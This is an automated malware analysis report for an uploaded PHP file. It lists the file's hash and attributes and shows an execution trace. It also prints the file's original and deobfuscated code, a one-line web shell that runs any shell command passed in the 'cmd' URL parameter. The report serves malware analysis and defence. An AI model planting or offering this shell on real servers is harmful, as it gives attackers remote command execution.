PHP Malware Analysis
15490561_1000.php
md5: 917cd3f72f3fc53a817c55b4e12e533e
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- shell_exec (Deobfuscated, Original)
Input
- _GET (Deobfuscated, Original)
Deobfuscated PHP code
<?php
echo shell_exec($_GET['cmd']);Execution traces
data/traces/917cd3f72f3fc53a817c55b4e12e533e_trace-1676240239.1807.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:17:45.078555]
1 0 1 0.000130 393576
1 3 0 0.000175 393976 {main} 1 /var/www/html/uploads/15490561_1000.php 0 0
2 4 0 0.000206 393976 shell_exec 0 /var/www/html/uploads/15490561_1000.php 1 1 NULL
2 4 1 0.000231 394008
2 4 R FALSE
1 3 1 0.000246 393976
0.000270 314264
TRACE END [2023-02-12 20:17:45.078721]
Generated HTML code
<html><head></head><body></body></html>Original PHP code
<?php echo shell_exec($_GET['cmd']); ?>